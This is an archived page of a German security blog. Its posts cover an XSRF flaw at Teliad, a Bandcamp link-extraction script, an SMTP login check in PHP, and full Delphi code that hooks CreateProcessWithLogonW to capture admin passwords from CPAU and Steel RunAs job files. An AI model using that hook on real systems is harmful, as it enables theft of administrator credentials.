Archive: Month 9, Year 2010

Teliad und das XSRF-Problem

28.09.2010 yahe legacy security thoughts

Schon mehrfach habe ich auf Dienste hingewiesen, die anfällig für XSRF-Attacken waren. Heute habe ich mir einmal angesehen, wie es mit der Sicherheit des Webmarketing-Anbieters "Teliad" aussieht.

Wie es der Zufall so wollte, war auch Teliad anfällig für genau die gleichen Attacken. Das besondere in diesem Fall ist die URL "/mein-teliad/mein-konto/stammdaten-aendern.html", denn anhand des Parameters "frmMetaData[intPage]" wird entschieden, ob die Kontaktdaten (inkl. Username und E-Mail-Adresse) oder aber die Bankdaten geändert werden sollen. Wie immer konnte diese Schwachstelle verheerende Folgen haben. Man konnte still und heimlich das Auszahlungsbankkonto ändern oder aber die E-Mail-Adresse und den Usernamen, um sich anschließend per "Passwort vergessen"-Funktion ein neues Passwort zuschicken zu lassen.

Da ich inzwischen schon mehrfach über XSRF-Attacken geschrieben habe, wollte ich nicht extra nochmal einen Artikel über das Problem verfassen. Die Antwort, die ich von Teliad zu dem Problem erhalten hatte, hat mich nun aber dazu veranlasst. In dieser wurde mir nämlich mitgeteilt, dass man die Webseite nach XSRF-Problemen hin überprüft habe und keine Lücken habe finden können. Weiterhin wurde mir mitgeteilt, dass serverseitig sichergestellt werden würde, dass das Versenden von gefakten Formularen nicht funktionieren würde. Schlussendlich wurde mir mitgeteilt, dass ich wahrscheinlich auf einen Sonderfall gestoßen sei, den man aber nicht näher spezifizieren wolle.

Das war natürlich alles ausgemachter Blödsinn. Es klaffte eine Lücke bei Teliad und man wusste trotz Hinweis anscheinend noch nicht einmal davon. Also schrieb ich nochmals eine E-Mail und teilte den Leuten mit, wo das Problem denn genau lag. Neuerdings wird nun bei den beanstandeten Formularen ein neues "Token"-Feld mitgeliefert, durch das der XSRF-Angriff verhindert werden kann. Auch, wenn der Weg in meinen Augen ein bisschen holprig war, freue ich mich, dass Teliad innerhalb weniger Stunden eine akzeptable Lösung für das Problem anbieten konnte.


Bandcamp vs. Greasemonkey

27.09.2010 yahe code legacy security

Ich wurde letztens vom Deutschlandradio Kultur gefragt, ob ich für ein Interview zur Sicherheit der Musikplattform Bandcamp zur Verfügung stehen würde. Für das Interview hatte ich extra ein kleines Greasemonkey-Script geschrieben, um zu zeigen, wie sich die Nachlässigkeit der Bandcamp-Programmierer auf die Umsätze eines Künstlers auswirken könnte. Leider wurde das Interview nun abgesagt, da das Bandcamp-Thema wohl nicht mehr eine so hohe Priorität hat. Trotzdem wollte ich den Nutzern von Bandcamp gern mal vor Augen führen, worauf sie sich einlassen, wenn sie Bandcamp als Vertriebspartner nutzen wollen.

Bandcamp vorher

Das Greasemonkey-Userscript Greasemonkey-Bandcamp macht folgendes: Es holt sich die "TralbumData"-Variable aus der Bandcamp-Seite, die man gerade besucht. In dieser Variable stehen alle wichtigen Informationen zu den einzelnen Liedern, die auf der Seite präsentiert werden, inklusive der Downloadlinks für die 128kbps-Version der Lieder. Die Links werden dann einfach aufbereitet in einem neuen Tab angezeigt.

Bandcamp nachher

Wer jetzt denkt, dass das ganze Aufbereiten eine große Herausforderung ist, der irrt. Sämtliche Informationen liegen nämlich fertig im Quelltext der Bandcamp-Seite vor. Zur Not könnte man diese Arbeit auch manuell machen: Im Quelltext nach der Variable suchen und die einzelnen URLs darin abgrasen.


CPAU die Logindaten unter dem Arsch weg klauen

27.09.2010 yahe code legacy security windows

Ich finde es ja immer wieder interessant, wenn Hannes Schurig (@SchurigH) erklärt, wie ihm das Tool CPAU hilft, seine Administratorenaufgaben zu erledigen. Besonders spannend finde ich es, wenn er erklärt, wie es damit möglich ist, dem einfachen Nutzer Administratorenrechte zu geben, um eine Anwendung auszuführen, ohne, dass der Nutzer die eigentlichen Logindaten erfährt. Möglich ist das bei dem Programm dadurch, dass man sogenannte Job-Dateien erstellt, in denen der auszuführende Befehl inklusive der Accountdaten des Administrators verschlüsselt abgelegt wird. Letztens hat Hannes damit sogar ein Script gebaut, mit dem von einem Netzlaufwerk Programminstallationen ausgeführt werden können, natürlich wieder geschützt durch die Job-Dateien von CPAU.

Mich hat vor allem die sichere Verwahrung der Accountdaten fasziniert, denn wenn man sich das Tool genauer ansieht, erkennt man, dass für die Verschlüsselung der Job-Dateien gar kein Passwort angegeben werden muss. Ich dachte mir "Es müsste doch möglich sein, diese Job-Dateien auch wieder zu entschlüsseln.". Aber um ehrlich zu sein, war ich heute irgendwie viel zu faul dafür, denn bei einem kleinen Test fiel mir auf, wie CPAU die auszuführenden Programme startet: das Zauberwort heißt "CreateProcessWithLogonW". Dass diese Erkenntnis korrekt war, konnte ich dann sogar noch einmal im Blog des Entwicklers von CPAU nachlesen.

Um nun an die Logindaten in so einer Job-Datei zu kommen, ist nun gar nicht mehr so viel unbekanntes Wissen nötig. Das meiste, was man dazu braucht, habe ich schon mal in meinem Artikel über die uallCollection erwähnt. Wenn man sich die Beschreibung der Funktion CreateProcessWithLogonW in der MSDN-Bibliothek angeguckt hat, hat man gesehen, dass dort auch die Werte Username, Domain und Password mitgegeben werden müssen. Durch das Hooken dieser einen API-Funktion kann man diese Informationen also alle auf einen Schlag abgreifen.

unit CPAU;

interface

procedure HookCPAU(const ATargetPath : String);
procedure UnhookCPAU;

implementation

uses
  Windows,
  uallHook,
  SysUtils,
  DateUtils,
  ConstU;

type
  LPBYTE = PBYTE;

  TStartupInfoW = record
    cb              : DWORD;
    lpReserved      : LPWSTR;
    lpDesktop       : LPWSTR;
    lpTitle         : LPWSTR;
    dwX             : DWORD;
    dwY             : DWORD;
    dwXSize         : DWORD;
    dwYSize         : DWORD;
    dwXCountChars   : DWORD;
    dwYCountChars   : DWORD;
    dwFillAttribute : DWORD;
    dwFlags         : DWORD;
    wShowWindow     : WORD;
    cbReserved2     : WORD;
    lpReserved2     : LPBYTE;
    hStdInput       : THANDLE;
    hStdOutput      : THANDLE;
    hStdError       : THANDLE;
  end;
  PStartupInfoW = ^TStartupInfoW;

var
  VCPAULib    : HModule = 0;
  VTargetPath : String  = '';

  VNewCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                          lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                          lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                          lpProcessInfo : PProcessInformation) : BOOL; stdcall;
  VOldCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                          lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                          lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                          lpProcessInfo : PProcessInformation) : BOOL; stdcall;

function CatchCreateProcessWithLogonW(lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                      lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                      lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                      lpProcessInfo : PProcessInformation) : BOOL; stdcall;
  function FillZero(const AValue : Word; const ALength : Byte) : String;
  begin
    Result := IntToStr(AValue);
    while (Length(Result) < ALength) do
      Result := '0' + Result;
  end;
var
  LDay       : Word;
  LFile      : TextFile;
  LHour      : Word;
  LMinute    : Word;
  LMonth     : Word;
  LMSecond   : Word;
  LSecond    : Word;
  LTimeValue : String;
  LYear      : Word;
begin
  Result := VNewCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags,
                                        lpApplicationName, lpCommandLine, dwCreationFlags,
                                        lpEnvironment, lpCurrentDirectory, lpStartupInfo,
                                        lpProcessInfo);

  DecodeDateTime(Now, LYear, LMonth, LDay, LHour, LMinute, LSecond, LMSecond);
  LTimeValue := FillZero(LYear, 4) + FillZero(LMonth, 2) + FillZero(LDay, 2) + '_' +
                FillZero(LHour, 2) + FillZero(LMinute, 2) + FillZero(LSecond, 2) + FillZero(LMSecond, 2);

  AssignFile(LFile, VTargetPath + LTimeValue + '.log');
  Rewrite(LFile);
  try
    WriteLn(LFile, 'Username   : ', String(lpUsername));
    WriteLn(LFile, 'Domain     : ', String(lpDomain));
    WriteLn(LFile, 'Password   : ', String(lpPassword));
    WriteLn(LFile, 'Application: ', String(lpApplicationName));
    WriteLn(LFile, 'CommandLine: ', String(lpCommandLine));
    WriteLn(LFile, 'CurrentDir : ', String(lpCurrentDirectory));
    WriteLn(LFile, 'Success    : ', Result);
  finally
    CloseFile(LFile);
  end;
end;

procedure HookCPAU(const ATargetPath : String);
begin
  VCPAULib := GetModuleHandle(ADVAPI32);
  if (VCPAULib <> 0) then
  begin
    VTargetPath := ATargetPath;

    @VOldCreateProcessWithLogonW := GetProcAddress(VCPAULib, 'CreateProcessWithLogonW');
    HookCode(@VOldCreateProcessWithLogonW, @CatchCreateProcessWithLogonW, @VNewCreateProcessWithLogonW);
  end;
end;

procedure UnhookCPAU;
begin
  if (VCPAULib <> 0) then
  begin
    VCPAULib := 0;

    UnhookCode(@VNewCreateProcessWithLogonW);
  end;
end;

end.

In meiner kleinen Testanwendung speichere ich die interessanten Informationen einfach jeweils in einer separaten Textdatei ab. Um nun an die Daten in so einer Job-Datei zu kommen, muss man einfach nur meine Testanwendung konfigurieren, diese starten und dann mit CPAU versuchen, die Job-Datei auszuführen, aus der man gerne die Accountdaten wissen möchte.

Lustig finde ich in diesem Zusammenhang, dass das Tool Steel RunAs genau das gleiche Problem hat, wie CPAU. Mit demselben Trick lassen sich auch dessen Credentials klauen. Besonders lustig ist das deshalb, da die Entwicklerfirma aktiv für die sichere Aufbewahrung der Logindaten wirbt: "Psuedo Random seed and RC4 encryption of the credentials stored inside the RunAs executable. Enhanced safety of credentials.".

An diesem Beispiel sieht man mal wieder sehr schön, dass die Verschlüsselung nicht zwangsläufig das schwächste Glied der Kette sein muss.


Benutzerlogin via SMTP überprüfen...

21.09.2010 yahe code legacy

Ich habe zur Zeit den Fall, dass ich überprüfen muss, ob jemand Zugriff auf bestimmte Daten haben darf. Der entsprechende Personenkreis bekommt von mir allerdings einfach nur einen E-Mail-Account auf einem meiner Server zugewiesen und ehrlich gesagt habe ich keine Lust, zwei Benutzerverwaltungen mit entsprechendem Passwortabgleich oder ähnliches zu betreiben.

Deshalb habe ich mir gedacht "Warum teste ich nicht einfach, ob die Person einen gültigen E-Mail-Account bei mir hat?". Leider bietet PHP keine einfache Möglichkeit, einen SMTP-Login durchzuführen. Es gibt zwar etwas in der PEAR-Bibliothek, das wäre aber wie mit Kanonen auf Spatzen zu schießen. Ich habe mir deshalb einfach mal angeguckt, wie so eine SMTP-Authentifizierung funktioniert. Der Quelltext ist dabei in meinem Fall speziell auf meinen SMTP-Server zugeschnitten, der ausschließlich AUTH LOGIN unterstützt.

  function smtpLogin($server, $port, $timeout, $username, $password) {
    $result = false;

    $authOK   = "235 ";
    $ehloEnd  = "250 ";
    $password = base64_encode($password);
    $username = base64_encode($username);

    $socket = fsockopen($server, $port, $errorNo, $errorStr, $timeout);
    if ($socket) {
      $input = fgets($socket);             // read welcome message
      fwrite($socket, "EHLO irgendwas\n"); // send EHLO

      do {
        $input = fgets($socket);
        $done  = (stripos($input, $ehloEnd) !== false);
      } while (!$done);

      fwrite($socket, "AUTH LOGIN\n");   // send AUTH LOGIN
      $input = fgets($socket);           // read "username" message
      fwrite($socket, $username . "\n"); // send username
      $input = fgets($socket);           // read "password" message
      fwrite($socket, $password . "\n"); // send password
      $input = fgets($socket);           // read login result;

      $result = (stripos($input, $authOK) !== false);

      fwrite($socket, "QUIT\n"); // send QUIT
      fclose($socket);
    }

    return $result;
  }

Die Verwendung von "fsockopen()" zum Herstellen der Verbindung hat übrigens einen super Nebeneffekt: Durch Voranstellen der Strings "ssl://" vor den Hostnamen (und natürlich dem Auswählen der richtigen Portnummer) kann man den gleichen Quelltext auch für einen SMTPS-Server verwenden!


Search

Links

RSS feed

Categories

administration (40)
arduino (12)
calcpw (2)
code (33)
hardware (16)
java (2)
legacy (113)
linux (27)
publicity (6)
review (2)
security (58)
thoughts (21)
windows (17)
wordpress (19)